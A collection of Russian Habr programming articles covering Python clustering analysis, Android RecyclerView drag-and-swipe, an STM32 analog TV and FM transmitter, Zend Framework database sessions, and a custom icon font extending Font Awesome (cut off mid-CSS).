На слове «кластерный» Выбегалло аж крякнул от неожиданности. Для иллюстрации «недельной» аналитики Александр запустил заранее готовый код и показал «Хитрый кругляшок», как его сразу де окрестил уже изрядно поражённый Выбегалло:
```
# Рисуем в двух координатах день недели и время события в доле суток количество этих событий
# КЛЮЧЕВОЕ ПРАВИЛО:
# равенство размерности массивов(серий) для трёх наборов данных - угла, радиуса, диаметра окружности
# Самый простой способ создания таких данных - pivot
vis_date = F_Lst_FULL_df.pivot_table('DT_evnt', index=['D_Week','PartOfDay'],
dropna = False,fill_value=0, aggfunc='count').reset_index()
Angle_dim = vis_date['D_Week'] # День недели
Radius_dim = vis_date['PartOfDay'] # Часть суток (0-1) в 24 часах
```
```
# Построение
# Угол отображения данных в зависимости от дня недели
theta = 2 * np.pi * Angle_dim/7 # Приводим день недели к двум Pi (3.14159265...)
# Площадь круга для отображения зависит от количества событий для этого дня недели
area = vis_date['DT_evnt'] #
colors = theta # Цвета зависят от дня недели (1-пн,2-вт,3-ср...7-вс)
fig = plt.figure()
# На всякий случай, если так ещё не рисовали:
# Примечание: параметр, 111 - это первая строка, первый столбец и первая (единственная здесь) ячейка на сетке Figure.
ax = fig.add_subplot(111, projection='polar')
# Сделаем свои метки для круговой диаграммы, то что будем писать по кругу (вместо градусов)
# К стати, углы увеличиваются против часовой стрелки!
xtks = pd.DataFrame()
xtks['val']=(2 * np.pi * Angle_dim/7).unique() # Сами значения угла
xtks['mrk']=['Пн','Вт','Ср','Чт','Пт','Сб','Вс'] # Метки для его обозначения
plt.xticks(xtks['val'].tolist(),xtks['mrk'].tolist())
c = ax.scatter(theta, Radius_dim, c=colors, s=area, cmap='hsv', alpha=0.75)
```
«С субботами и воскресеньями – хвалю, надо экономить волшебные средства» — выпалил Выбегалло, он был явно доволен. «Вот только насчёт кластерных анализов надо обмозговать. Надёжна ли вещь?» — осторожно подбирая слова и задумчиво гладя на Привалова, сказал Выбегалло. «Никаких сомнений» — сказал Александр и перешёл к показу.
Сначала нормализуем данные
--------------------------
Александр показал небольшой кусочек кода, который использовал для нормализации:
```
# Нормализация (все признаки в диапазон 0-1)
d = preprocessing.normalize(F_Lst_FULL_df,axis=0)
scaled_df = pd.DataFrame(d,columns = ['DT_evnt', 'Type', 'Date_event', 'PartOfDay','NWeek','D_Week'])
del d
```
Готовим модель кластеризации (k-Menas)
--------------------------------------
Александр перешёл к коду модели и уточнил: «N\_Clstr меняем для проверки нескольких гипотез.
N\_Clstr=2 события делятся на кластеры по признаку тип события (улыбка/смех);
N\_Clstr=7 события делятся на кластеры по признаку день недели для события;
N\_Clstr=31 события делятся на кластеры по признаку день в месяце;
N\_Clstr=14 делятся на кластеры по двум признакам день недели и тип события.»
```
# Описываем модель
N_Clstr=14
model = KMeans(n_clusters=N_Clstr)
# Проводим моделирование
model.fit(scaled_df)
# Предсказание на всем наборе данных
all_predictions = model.predict(scaled_df)
```
**Для данных посчитанных с помощью модели понижаем размерность (что бы нарисовать кластеры в двумерном пространстве)**
Александр «напомнил», что кластеры определены в пространстве размерностью равной количеству признаков. Посмотреть на такое разбиение весьма проблематично. «Поэтому используем TSNE инструмент для снижения размерности нашей картинки кластеров до 2D.
```
# Определяем модель и скорость обучения
model = TSNE()
# Обучаем модель
transformed = model.fit_transform(scaled_df)
# Представляем результат в двумерных координатах
x_axis = transformed[:, 0]
y_axis = transformed[:, 1]
```
**Рисуем для каждой гипотезы набор картинок, в качестве цвета задаём признаки, содержащие сравнительно малое количество вариантов значений**
```
plt.title('K-Means кластеризация на кол-во кластеров: '+str(N_Clstr)+'. Цвет по типам событий')
plt.scatter(x_axis, y_axis, c=scaled_df['Type'])
plt.show()
# Далее так же для:
# Цвет по дням недели D_Week
# Цвет по доле начала события в течение суток PartOfDay
# Цвет по дате события Date_event
# Цвет по номеру недели для события NWeek
```
Анализируем кластеры
--------------------
Александр, окинул взглядом поле из картинок и выдержал паузу, после чего начал: «Вот, товарищ Выбегалло, как сами видите наглядная демонстрация, что чёткое распределение на ярко выраженные кластеры мы не наблюдаем только отчасти, для типов события есть разбиение на два (нижняя строчка картинок), в какой-то мере это же мы видели на первом графике (данные события одного типа не совпадают с данными события другого типа (есть только пара точек пересечений).
По остальным картинкам мы наблюдаем:
1) не односвязный характер цветовых массивов,
2) наложение разных цветов друг на друга.
Следовательно, как такового «понимания» управления настроением не ожидается. Всё веселье пройдёт по плану и строго по плану перейдёт в рабочий ритм февраля, абсолютно естественным образом!».
Выбегалло был очень доволен, широко улыбнувшись, он спросил: «Отчёт уже напечатали?». «Конечно, все эти данные вот». Александр достал папку из верхнего ящика.
«Вы молодец! Обязательно отмечу Вас при подведении итогов года!» — сказал Выбегалло и решительно отправился в секретариат Тройки. | https://habr.com/ru/post/535794/ | null | ru | null |
# Drag и Swipe в RecyclerView. Часть 2: контроллеры перетаскивания, сетки и пользовательские анимации
В [первой части](https://habr.com/post/427681/) мы рассмотрели [ItemTouchHelper](http://developer.android.com/reference/android/support/v7/widget/helper/ItemTouchHelper.html) и реализацию [ItemTouchHelper.Callback](http://developer.android.com/reference/android/support/v7/widget/helper/ItemTouchHelper.Callback.html), которая добавляет базовые функции **drag & drop** и **swipe-to-dismiss** в `RecyclerView`. В этой статье мы продолжим то, что было сделано в предыдущей, добавив поддержку расположения элементов в виде сетки, контроллеры перетаскивания, выделение элемента списка и пользовательские анимации смахивания (*англ.* swipe).
Контроллеры перетаскивания
--------------------------
При создании списка, поддерживающего **drag & drop**, обычно реализуют возможность перетаскивания элементов по касанию. Это способствует понятности и удобству использования списка в «режиме редактирования», а также [рекомендуется](http://www.google.com/design/spec/components/lists-controls.html#lists-controls-types-of-list-controls) material-гайдлайнами. Добавить контроллеры перетаскивания в наш пример сказочно легко.
Сперва обновим `layout` элемента (**item\_main.xml**).
```
xml version="1.0" encoding="utf-8"?
```
Изображение, используемое для контроллера перетаскивания, можно найти в [Material Design иконках](https://github.com/google/material-design-icons/blob/master/action/svg/production/ic_reorder_24px.svg) и добавить в проект с помощью удобного [плагина генератора иконок](https://github.com/konifar/android-material-design-icon-generator-plugin) в Android Studio.
Как кратко упоминалось в прошлой статье, вы можете использовать `ItemTouchHelper.startDrag(ViewHolder)`, чтобы программно запустить перетаскивание. Итак, всё, что нам нужно сделать, это обновить `ViewHolder`, добавив контроллер перетаскивания, и настроить простой обработчик касаний, который будет вызывать `startDrag()`.
Нам понадобится интерфейс для передачи события по цепочке:
```
public interface OnStartDragListener {
/**
* Called when a view is requesting a start of a drag.
*
* @param viewHolder The holder of the view to drag.
*/
void onStartDrag(RecyclerView.ViewHolder viewHolder);
}
```
Затем определите `ImageView` для контроллера перетаскивания в `ItemViewHolder`:
```
public final ImageView handleView;
public ItemViewHolder(View itemView) {
super(itemView);
// ...
handleView = (ImageView) itemView.findViewById(R.id.handle);
}
```
и обновите `RecyclerListAdapter`:
```
private final OnStartDragListener mDragStartListener;
public RecyclerListAdapter(OnStartDragListener dragStartListener) {
mDragStartListener = dragStartListener;
// ...
}
@Override
public void onBindViewHolder(final ItemViewHolder holder,
int position) {
// ...
holder.handleView.setOnTouchListener(new OnTouchListener() {
@Override
public boolean onTouch(View v, MotionEvent event) {
if (MotionEventCompat.getActionMasked(event) ==
MotionEvent.ACTION_DOWN) {
mDragStartListener.onStartDrag(holder);
}
return false;
}
});
}
```
`RecyclerListAdapter` теперь должен выглядеть примерно [так](https://github.com/iPaulPro/Android-ItemTouchHelper-Demo/blob/001dcdc99f75f77a431fe5c303be54ab45cd9a32/app/src/main/java/co/paulburke/android/itemtouchhelperdemo/RecyclerListAdapter.java).
Всё, что осталось сделать, это добавить `OnStartDragListener` во фрагмент:
```
public class RecyclerListFragment extends Fragment implements
OnStartDragListener {
// ...
@Override
public void onViewCreated(View view, Bundle icicle) {
super.onViewCreated(view, icicle);
RecyclerListAdapter a = new RecyclerListAdapter(this);
// ...
}
@Override
public void onStartDrag(RecyclerView.ViewHolder viewHolder) {
mItemTouchHelper.startDrag(viewHolder);
}
}
```
`RecyclerListFragment` теперь должен выглядеть [следующим образом](https://github.com/iPaulPro/Android-ItemTouchHelper-Demo/blob/001dcdc99f75f77a431fe5c303be54ab45cd9a32/app/src/main/java/co/paulburke/android/itemtouchhelperdemo/RecyclerListFragment.java). Теперь, когда вы запустите приложение, то сможете начать перетаскивание, коснувшись контроллера.
Выделение элемента списка
-------------------------
Сейчас в нашем примере нет никакой визуальной индикации элемента, который перетаскивается. Очевидно, так быть не должно, но это легко исправить. С помощью `ItemTouchHelper` можно использовать стандартные эффекты подсветки элемента. На Lollipop и более поздних версиях Android, подсветка «расплывается» по элементу в процессе взаимодействия с ним; на более ранних версиях элемент просто меняет свой цвет на затемнённый.
Чтобы реализовать это в нашем примере, просто добавьте фон (свойство `background`) в корневой `FrameLayout` элемента [item\_main.xml](https://gist.github.com/iPaulPro/3b1742403ea6f27abbb4) или установите его в конструкторе [RecyclerListAdapter.ItemViewHolder](https://github.com/iPaulPro/Android-ItemTouchHelper-Demo/blob/b6d2464c45d8b504dbc17c473cdca271ded2bd80/app/src/main/java/co/paulburke/android/itemtouchhelperdemo/RecyclerListAdapter.java). Это будет выглядеть примерно так:
Выглядит круто, но, возможно, вы захотите контролировать ещё больше. Один из способов сделать это — позволить `ViewHolder` обрабатывать изменения состояния элемента. Для этого `ItemTouchHelper.Callback` предоставляет ещё два метода:
* `onSelectedChanged(ViewHolder, int)` вызывается каждый раз, когда состояние элемента меняется на **drag** ([ACTION\_STATE\_DRAG](http://developer.android.com/reference/android/support/v7/widget/helper/ItemTouchHelper.html#ACTION_STATE_DRAG)) или **swipe** ([ACTION\_STATE\_SWIPE](http://developer.android.com/reference/android/support/v7/widget/helper/ItemTouchHelper.html#ACTION_STATE_SWIPE)). Это идеальное место, чтобы изменить состояние `view`-компонента на *активное*.
* `clearView(RecyclerView, ViewHolder)` вызывается при окончании перетаскивания `view`-компонента, а также при завершении смахивания ([ACTION\_STATE\_IDLE](http://developer.android.com/reference/android/support/v7/widget/helper/ItemTouchHelper.html#ACTION_STATE_IDLE)). Здесь обычно восстанавливается *изначальное* состояние вашего `view`-компонента.
А теперь давайте просто соберём всё это вместе.
Сперва создайте интерфейс, который будут реализовывать `ViewHolders`:
```
/**
* Notifies a View Holder of relevant callbacks from
* {@link ItemTouchHelper.Callback}.
*/
public interface ItemTouchHelperViewHolder {
/**
* Called when the {@link ItemTouchHelper} first registers an
* item as being moved or swiped.
* Implementations should update the item view to indicate
* it's active state.
*/
void onItemSelected();
/**
* Called when the {@link ItemTouchHelper} has completed the
* move or swipe, and the active item state should be cleared.
*/
void onItemClear();
}
```
Затем в `SimpleItemTouchHelperCallback` реализуйте соотвутствующие методы:
```
@Override
public void onSelectedChanged(RecyclerView.ViewHolder viewHolder,
int actionState) {
// We only want the active item
if (actionState != ItemTouchHelper.ACTION_STATE_IDLE) {
if (viewHolder instanceof ItemTouchHelperViewHolder) {
ItemTouchHelperViewHolder itemViewHolder =
(ItemTouchHelperViewHolder) viewHolder;
itemViewHolder.onItemSelected();
}
}
super.onSelectedChanged(viewHolder, actionState);
}
@Override
public void clearView(RecyclerView recyclerView,
RecyclerView.ViewHolder viewHolder) {
super.clearView(recyclerView, viewHolder);
if (viewHolder instanceof ItemTouchHelperViewHolder) {
ItemTouchHelperViewHolder itemViewHolder =
(ItemTouchHelperViewHolder) viewHolder;
itemViewHolder.onItemClear();
}
}
```
Теперь осталось только, чтобы `RecyclerListAdapter.ItemViewHolder` реализовал `ItemTouchHelperViewHolder`:
```
public class ItemViewHolder extends RecyclerView.ViewHolder
implements ItemTouchHelperViewHolder {
// ...
@Override
public void onItemSelected() {
itemView.setBackgroundColor(Color.LTGRAY);
}
@Override
public void onItemClear() {
itemView.setBackgroundColor(0);
}
}
```
В этом примере мы просто добавляем серый фон во время активности элемента, а затем его удаляем. Если ваш `ItemTouchHelper` и адаптер тесно связаны, вы можете легко отказаться от этой настройки и переключать состояние `view`-компонента прямо в `ItemTouchHelper.Callback`.
Сетки
-----
Если теперь вы попытаетесь использовать `GridLayoutManager`, вы увидите, что он работает неправильно. Причина и решение проблемы просты: мы должны сообщить нашему `ItemTouchHelper`, что мы хотим поддерживать перетаскивание элементов влево и вправо. Ранее в `SimpleItemTouchHelperCallback` мы уже указывали:
```
@Override
public int getMovementFlags(RecyclerView recyclerView,
RecyclerView.ViewHolder viewHolder) {
int dragFlags = ItemTouchHelper.UP | ItemTouchHelper.DOWN;
int swipeFlags = ItemTouchHelper.START | ItemTouchHelper.END;
return makeMovementFlags(dragFlags, swipeFlags);
}
```
Единственное изменение, необходимое для поддержки сеток, заключается в добавлении соответствующих флагов:
```
int dragFlags = ItemTouchHelper.UP | ItemTouchHelper.DOWN |
ItemTouchHelper.LEFT | ItemTouchHelper.RIGHT;
```
Тем не менее, **swipe-to-dismiss** не очень естественное поведение для элементов в виде сетки, поэтому `swipeFlags` разумнее всего обнулить:
```
@Override
public int getMovementFlags(RecyclerView recyclerView,
RecyclerView.ViewHolder viewHolder) {
int dragFlags = ItemTouchHelper.UP | ItemTouchHelper.DOWN |
ItemTouchHelper.LEFT | ItemTouchHelper.RIGHT;
int swipeFlags = 0;
return makeMovementFlags(dragFlags, swipeFlags);
}
```
Чтобы увидеть рабочий пример `GridLayoutManager`, смотрите [RecyclerGridFragment](https://github.com/iPaulPro/Android-ItemTouchHelper-Demo/blob/d164fba0f27c8aa38cfa7dbd4bc74d53dea44605/app/src/main/java/co/paulburke/android/itemtouchhelperdemo/RecyclerGridFragment.java). Вот как это выглядит при запуске:
Пользовательские анимации смахивания
------------------------------------
`ItemTouchHelper.Callback` предоставляет действительно удобный способ для полного контроля анимации во время перетаскивания или смахивания. Поскольку `ItemTouchHelper` — это [RecyclerView.ItemDecoration](http://developer.android.com/reference/android/support/v7/widget/RecyclerView.ItemDecoration.html), мы можем вмешаться в процесс отрисовки `view`-компонента похожим образом. В следующей части мы разберём этот вопрос подробнее, а пока посмотрим на простой пример переопределения анимации смахивания по умолчанию, чтобы показать линейное исчезновение.
```
@Override
public void onChildDraw(Canvas c, RecyclerView recyclerView,
ViewHolder viewHolder, float dX, float dY,
int actionState, boolean isCurrentlyActive) {
if (actionState == ItemTouchHelper.ACTION_STATE_SWIPE) {
float width = (float) viewHolder.itemView.getWidth();
float alpha = 1.0f - Math.abs(dX) / width;
viewHolder.itemView.setAlpha(alpha);
viewHolder.itemView.setTranslationX(dX);
} else {
super.onChildDraw(c, recyclerView, viewHolder, dX, dY,
actionState, isCurrentlyActive);
}
}
```
Параметры `dX` и `dY` — это текущий сдвиг относительно выделенного `view`-компонента, где:
* **-1.0f** — это полное смахивание справа налево (от `ItemTouchHelper.END` к `ItemTouchHelper.START`)
* **1.0f** — это полное смахивание слева направо (от `ItemTouchHelper.START` к `ItemTouchHelper.END`)
Важно вызывать `super` для любого `actionState`, который вы не обрабатываете, для того, чтобы запускалась анимация по умолчанию.
В следующей части мы рассмотрим пример, в котором будем контролировать отрисовку элемента в момент перетаскивания.
Заключение
----------
На самом деле, настройка ItemTouchHelper — это довольно весело. Чтобы не увеличивать объём этой статьи, я разделил её на несколько.
Исходный код
------------
Весь код этой серии статей смотрите на GitHub-репозитории [Android-ItemTouchHelper-Demo](https://github.com/iPaulPro/Android-ItemTouchHelper-Demo/). Эта статья охватывает коммиты от [ef8f149](https://github.com/iPaulPro/Android-ItemTouchHelper-Demo/commit/ef8f149d2299bf57c2f5450aea75dc19b099bdee) до [d164fba](https://github.com/iPaulPro/Android-ItemTouchHelper-Demo/commit/d164fba0f27c8aa38cfa7dbd4bc74d53dea44605).
[← Drag и Swipe в RecyclerView. Часть 1: ItemTouchHelper](https://habr.com/post/427681/) | https://habr.com/ru/post/428419/ | null | ru | null |
# Передача аналогового тв сигнала с помощью STM32
Помните как некто [cnlohr](https://github.com/cnlohr/channel3) запустил передачу ТВ сигнала на ESP8266?
Недавно мне попалось к просмотру это [видео](https://www.youtube.com/watch?v=SSiRkpgwVKY), стало интересно как это возможно и выяснил что автор видео разогнал частоту I2S до телевизионного диапазона, а затем с помощью DMA генерировал AM сигнал. Мне захотелось повторить это, но или прошивка криво собирается, или ESP модуль оказался неподходящий. Запустить передачу телесигнала не получалось.
Затем я вспомнил что STM32 умеет выводить свой тактовый сигнал на один из пинов.
Введение
--------
Современные микроконтроллеры могут работать на частотах в сотни МГц, они попадают в диапазон работы FM приемников и аналоговых телевизоров. Практически все они имеют возможность вывода своей тактовой частоты на один из пинов. В микроконтроллерах STM32 эта функция называется Master Clock Output.
Если выбрать источником тактирования PLL, частоту на выходе можно менять в широких пределах. Так-же выход MCO можно включить и выключить простым переключением режима пина в регистре GPIO. Это побудило меня к экспериментам над возможностями формирования радиосигналов с помощью микроконтроллера.
В наличии была отладочная плата с микроконтроллером STM32F407. Его максимальная частота ядра равна 168МГц, а максимальная частота переключения GPIO равна 84мгц.
Для начала нужно было понять на какую частоту настраивать MCO чтобы его мог поймать телевизор. Поиск привел меня на [страницу](https://antenna-dvb-t2.info/channels-and-frequency.php) с таблицей частот всех тв каналов. Наибольшую частоту ядра без превышения максимальной частоты переключения GPIO можно достичь выбрав 3 канал.
Частота ядра при этом будет равна 154.5МГц, а тактовый выход необходимо поделить на 2, чтобы получить искомые 77.25МГц.
Начало экспериментов
--------------------
Чтобы долго не изучать мануалы, для генерации инициализационного кода был использован cubeMX. В нем настроил PLL на частоту 154.5МГц, вывод MCO1 сделал с источником от PLL предделителем на 2. К выводу PA8 подсоединил кусок провода.
**Настройки тактирования в CubeMX**
Скомпилировал проект, залил прошивку в плату и экран на телевизоре стал темным. Это означает что телевизор понимает импровизированную несущую как сигнал.
Дальше было определение насколько быстро можно включать/выключать тактовый сигнал чтобы создать подобие амплитудной модуляции. В бесконечном цикле включая и выключая тактирование с плавным уменьшением задержек удалось получить сначала горизонтальные, а затем и вертикальные полосы на кинескопе.
**Результат программного управления MCO**
Но как вывести на него изображение?
Использование DMA
------------------
Если осуществлять управление с помощью ядра, практически всё его время будет использовано только для переключения тактового сигнала и любое прерывание будет сбивать тайминги. Поэтому единственным способом управления осталось использовние DMA с буфером.
Чтобы не тратить ресурсы ядра на запуск DMA каждый кадр, последнее можно настроить на работу в кольцевом режиме. Для того чтобы данные переносились со строго заданной скоростью, запуск передачи нужно осуществлять по событию от таймера.
В cubeMX это выглядит так:
**Настройки таймера**
В ходе эксперимента выяснилось что к регистрам GPIO возможен и побайтовый доступ как самим ядром, так и через DMA, что позволило тратить всего 1 байт на пиксель:
```
#define GPIOA_MODER_8_11 (((uint8_t*)(&(GPIOA->MODER)))[2])
#define MCO_ON() (GPIOA_MODER_8_11) = 2
#define MCO_OFF() (GPIOA_MODER_8_11) = 0
```
В начальной поставке библиотеки HAL, адресом назначения DMA является регистр таймера ARR. Пришлось написать функцию, позволяющую задать произвольный адрес назначения. Этим адресом является биты [16:23] регистра GPIOA->MODER.
Так-как DMA имеет 16 битный счетчик элементов, размер буфера ограничен в 64кб. Но можно настроить DMA на работу с двойным буфером, что позволяет увеличить количество элементов в 2 раза.
```
// Изначальная функция, которая принимает в качестве аргумента лишь источник данных, а назначением является регистр TIM->ARR (регистр предзагрузки)
// HAL_StatusTypeDef HAL_TIM_Base_Start_DMA(TIM_HandleTypeDef *htim, uint32_t *pData, uint16_t Length);
// Добавлен аргумент - адрес назначения данных
HAL_StatusTypeDef HAL_TIM_Base_Start_DMA(TIM_HandleTypeDef *htim, uint32_t *pData, uint32_t *pDest, uint16_t Length);
// Запуск в режиме двойного буфера
HAL_StatusTypeDef HAL_TIM_Base_Start_DMA_DoubleBuffer(TIM_HandleTypeDef *htim, uint32_t *pData, uint32_t *pData2, uint32_t *pDest, uint16_t Length);
```
Формирование кадра
------------------
[В стандарте PAL/SECAM](http://martin.hinner.info/vga/pal.html) видеосигнал имеет частоту кадров равную 25гц и 625 строк на кадр. В случае отказа от черезстрочной развертки остается 312 строк изображения с частотой полей 50гц. При максимальном размере буфера в 128кб получится: 131072/312 = 420 «пикселей» на строку.
Значит фреймбуфер получится размером 312x410.
Чтобы телевизор понял где находится начало кадра и начало каждой строки, необходимо формировать синхроимпульсы. Поскольку в эфире сигнал передается с негативной полярностью, эти импульсы будут соответствовать максимальной амплитуде сигнала. Поскольку управление сигнала возможно лишь дискретно, для создания уровня черного используется ШИМ.
Перед запуском передачи происходит заполнение фреймбуфера синхроимпульсами, а уровень черного обеспечивается заполнением ШИМ в 25%.
**Заполнение буфера кадра**
```
// заполнение синхроимпульсами
void init_fb()
{
// кадровый синхроимпульс находится в начале буфера,
// чтобы прерывание конца передачи DMA (Vsync) приходилось
// на начало обратного хода луча
for (int i=0;i<24;i++)
for (int j=0;j<(WIDTH);j++)
frameBuf[i][j] = 2;
// строчный синхроимпульс
for (int i=0;i<312;i++)
for (int j=(WIDTH - 30);j<(WIDTH);j++)
frameBuf[i][j] = 2;
}
// приведение буфера кадра к уровню черного
void clear_fb()
{
for (int i=24;i<312;i++)
{
// смещение начала строки
int offset = (i * WIDTH);
// ядро cortex-m4 позволяет работать с невыровненными данными,
// 32 битный доступ позволяет ускорить работу
uint32_t* data_ptr = (uint32_t*)(&((uint8_t*)(frameBuf))[offset]);
// диагональные линии менее заметны на экране чем вертикальные
uint32_t pattern = 0x02020202;
pattern &= ~( 2 << (((i)%4)*8) );
for (int j=0;j<(390);j+=4)
{
*(data_ptr++) = pattern;
}
}
}
```
На этом этапе записью значений в frameBuf можно формировать изображение на экране телевизора.
Графическая библиотека была портирована из демо проекта от другой платы discovery. С ее помощью можно генерировать различные графические примитивы и символы. Так-же был портирован когда-то мной написанный клон игры Space Invaders и 3D шары из проекта от ESP8266.
Результат получился следующий:
**Полученный результат**
По фотографиям экрана видны диагональные полосы, полученные в результате формирования «уровня черного».
Эксперименты с созданием промежуточных уровней сигнала
------------------------------------------------------
Что если управлять тактовым выходом не просто включая и выключая его, а менять значение регистра OSPEEDR? Этим регистром управляется крутизна фронта переключения вывода. Было интересно, возможно ли меняя его значение создать на экране телевизора больше чем 2 градации яркости.
Написал код, который в бесконечном цикле перебирает 5 вариантов:
MCO выключен через MODER
OSPEEDR = 0
OSPEEDR = 1
OSPEEDR = 2
OSPEEDR = 3
На экране появилось 4 полосы с разной яркостью. Состояние с минимальной крутизной фронтов и выключенным совсем MCO никак не отличается для телевизора.
**Полосы с градациями яркости**
Использование регистра OSPEED вместо MODER позволило увеличить четкость изображения.
**Изображение при использовании модуляции с помощью OSPEEDR**
Также пытался использовать I2S, но безуспешно.
Выше примерно скорости 20 Мбит/с при дальнейшем увеличении частоты тактирования интерфейса, появляется нестабильность в работе. А на «стабильных» частотах если принимать гармоники сигнала, изображение едва отличимо от шума. SPI1 может работать на частотах выше, но качество сигнала тоже остается плохим.
Видео демонстрации работы прилагаю, [код на гитхабе](https://github.com/rus084/F4Discovery-tv-transmitter).
Как насчет частотной модуляции?
-------------------------------
В STM32 в регистре RCC\_CR есть биты HSITRIM, отвечающие за подстройку частоты HSI генератора.
Если настроить PLL со входом от HSI и выходной частотой, попадающей в FM диапазон, можно получить радиосигнал, который будет приниматься FM приемником. Модуляция осуществляется изменением значения битов HSITRIM.
Доказательство работоспособности показано в этом видео. [Исходники тоже прилагаются](https://github.com/rus084/F4Discovery-fm-transmitter).
p.s. Да, код ужасный, но как proof of concept сгодится | https://habr.com/ru/post/521282/ | null | ru | null |
# Zend Framework. Сохраняем сессии в БД.
Маленькая статья по Zend Framework.
Точнее интерпретация раздела из руководства пользователя Zend\_Framework.
Оригинал: [Zend\_Session\_SaveHandler\_DbTable](http://framework.zend.com/manual/ru/zend.session.savehandler.dbtable.html)
Этот самый **Zend\_Session\_SaveHandler\_DbTable** позволяет сконфигурировать Zend\_Session так, чтобы информация о сессиях (и данные сессии ) хранилась в БД.
#### Zend\_Session\_SaveHandler\_DbTable
Для хранения сессии нам нужно сохранить, как минимум четыре её параметра. А именно:
1. sid — Он же идентификатор сессии, и длинна котого равна 32
2. modified — Дата модификации сессии, в формате unix timestamp
3. lifetime — Вермя жизни этой самой сессии (modified + lifetime > time())
4. data — Собственно данные хранящиеся в сессии в сериализованом виде
С данными которые нужно хранить определились, создадим таблицу в базе данных.
`CREATE TABLE `session` (
`id` char(32),
`modified` int,
`lifetime` int,
`data` text,
PRIMARY KEY (`id`)
);`
По умолчанию идентификатор сессии будет первичным ключём.
Далее. (Всё остальное пишется в index.php)
`// Настраиваим соеденение с БД, и получаем указатель в $db
$db = Zend_Db::factory('Pdo_Mysql', array(
'host' =>'example.com',
'username' => 'dbuser',
'password' => '******',
'dbname' => 'dbname'
));
//Устанавливаем адаптер по умолчанию
Zend_Db_Table_Abstract::setDefaultAdapter($db);
// Создаем config для Zend_Session_SaveHandler_DbTable
$config = array(
'name' => 'session',
'primary' => 'id',
'modifiedColumn' => 'modified',
'dataColumn' => 'data',
'lifetimeColumn' => 'lifetime'
);
// Создаем Zend_Session_SaveHandler_DbTable
// и устанавливаем для Zend_Session
Zend_Session::setSaveHandler(new Zend_Session_SaveHandler_DbTable($config));
//Стартуем сессия (Это по желанию)
Zend_Session::start();`
**$config**
*name* — Имя таблицы в БД
*primary* — Поле таблицы являющееся первичным ключём в таблице
*modifiedColumn* — Поле таблицы Даты модификации
*dataColumn* — Поле таблицы хрянящее данные сессии
*lifetimeColumn* — Поле таблицы хрянящее время жизни
Второй пример в руководстве рассматривает вариант с использованием в качестве первичного ключа нескольких значений. Переписывать сюда его не стал.
Для primary указываем массив содержащий список полей которые входят в первичный ключ.
Через **primaryAssignment** присваиваим соответствующие значения.
*sessionId* — Идентификатор сессии
*sessionSavePath* — Аабсолютный путь сессии
*sessionName* — Имя сессии | https://habr.com/ru/post/42714/ | null | ru | null |
# Font (ещё более) Awesome — узорное изобретение
Привет, Хабр! Представляю вашему вниманию перевод статьи ["Font (More) Awesome — an iconic invention"](https://medium.freecodecamp.org/lets-use-font-more-awesome-to-make-an-iconic-invention-a95324d92ace) автора Pubudu Dodangoda.
Создаёте ли вы веб-сайт, мобильное или настольное приложение, есть несколько вещей, которых вам не удастся избежать. Правильное использование графики и иконок является одной из таких базовых потребностей. Стильные иконки также важны, как выравнивание и цветовые комбинации — просто потому, что одна иконка может выразить то, что едва поместится в сотню слов.
В то время, как есть множество путей добавления иконки на веб-сайт, самым популярным вариантом можно назвать использование библиотеки Font Awesome. Произведя одну конфигурацию, вы очень легко можете добавить нужную иконку:
Тем не менее, есть ситуации, когда набор предлагаемых Font Awesome иконок недостаточен. Например, недавно я хотел использовать логотипы Facebook, Twitter и Airbnb на своём сайте. Однако я был крайне удивлён — иконка Airbnb не включена в Font Awesome. Оказалось, что сообщество просило эту иконку около **3 лет назад**. И её нет в официальном наборе до сих пор.
Также, если вы хотите добавить не самую популярную иконку, самым простым способом будет использование тега `img`. По сравнению с использованием Font Awesome это требует слишком больших усилий. С другой стороны, команда Font Awesome не может обслужить все запросы на иконки.
Поэтому я занялся поиском простого способа подключения необходимых мне иконок. К счастью, я нашёл инструмент под названием [Calligraphr](https://www.calligraphr.com/en/). Я объясню, как использовал этот инструмент (потребуются небольшие познания в CSS), и покажу несколько несложных хитростей, которые позволят делать в вашем коде что-то вроде следующего:
```
```
Выглядит неплохо, правда? Тогда **давайте сделаем Font ещё более Awesome!**
Создание шрифта
---------------
Первый этап в нашем приключении заключается в создании шрифта Font More Awesome, что можно сделать используя [инструкцию на их веб-сайте](https://www.calligraphr.com/en/webapp/app_home/?/). Сперва нужна скачать шаблон. Вот пример:
Теперь мы должны заполнить секции желаемыми изображениями. Вы можете распечатать шаблон и нарисовать в нём иконки от руки, или использовать инструмент вроде Adobe Photoshop, GIMP с изображениями, которые вы скачаете из интернета.
> **Прим. переводчика.** Не пытайтесь использовать на Calligraphr цветные и даже серые изображения — вероятность удачного преобразования будет крайне мала. Используйте только чёрно-белые изображения.
После заполнения шаблона, он будет выглядить примерно так:
Следующая вещь, которую вы должны сделать, достаточно проста. Загрузите заполненный шаблон на calligraphr, и нажмите на кнопку “build font” — и БУМ! Вы можете скачать ваш персональный шрифт. Давайте назовём его `FontMoreAwesome.otf`.
Если вам интересно, что за магия только что произошла — это называется [векторизация графики](https://ru.wikipedia.org/wiki/%D0%92%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F_(%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D0%BA%D0%B0)). Из-за воздействия специальных алгоритмов, производящих векторизацию, вы можете заметить некоторые отличия между использованным изображением и созданной иконкой. Зато, после конвертации в векторный формат, изображение может масштабироваться без потерь качества.
Интеграция с Font Awesome
-------------------------
Конечно, вы можете рассматривать новый шрифт как отдельный набор иконок. Но разве не было бы круто расширить сам набор Font Awesome? Давайте сделаем это!
Единственная вещь, которую нужно понять, заключается в том, что мы будем наследовать CSS стили, определённые Font Awesome CSS файлом. Например, он будет содержать примерно такую запись:
```
.fa {
display: inline-block;
font: normal normal normal 14px/1 FontAwesome;
font-size: inherit;
text-rendering: auto;
-webkit-font-smoothing: antialiased;
-moz-osx-font-smoothing: grayscale;
}
```
Это значит, что когда мы следующим образом определяем элемент иконки, она будет наследовать стили `display`, `font-size` и `text-rendering` из кода выше:
Теперь давайте определим наш собственный CSS файл. Назовём файл `font-more-awesome.css`.
Первой записью в этом файле должно идти объявление правила font-face. Может быть сделано как ниже. Это несложно. Лишь немного базового CSS.
```
@font-face {
font-family: 'FontMoreAwesome';
src: url('../fonts/FontMoreAwesome.otf');
font-weight: normal;
font-style: normal;
}
```
Далее мы можем определить желаемые иконки:
```
.fa-troll:before {
font-family: FontMoreAwesome;
content: "A";
}
.fa-lol:before {
font-family: FontMoreAwesome;
content: "B";
}
.fa-like-a-boss:before {
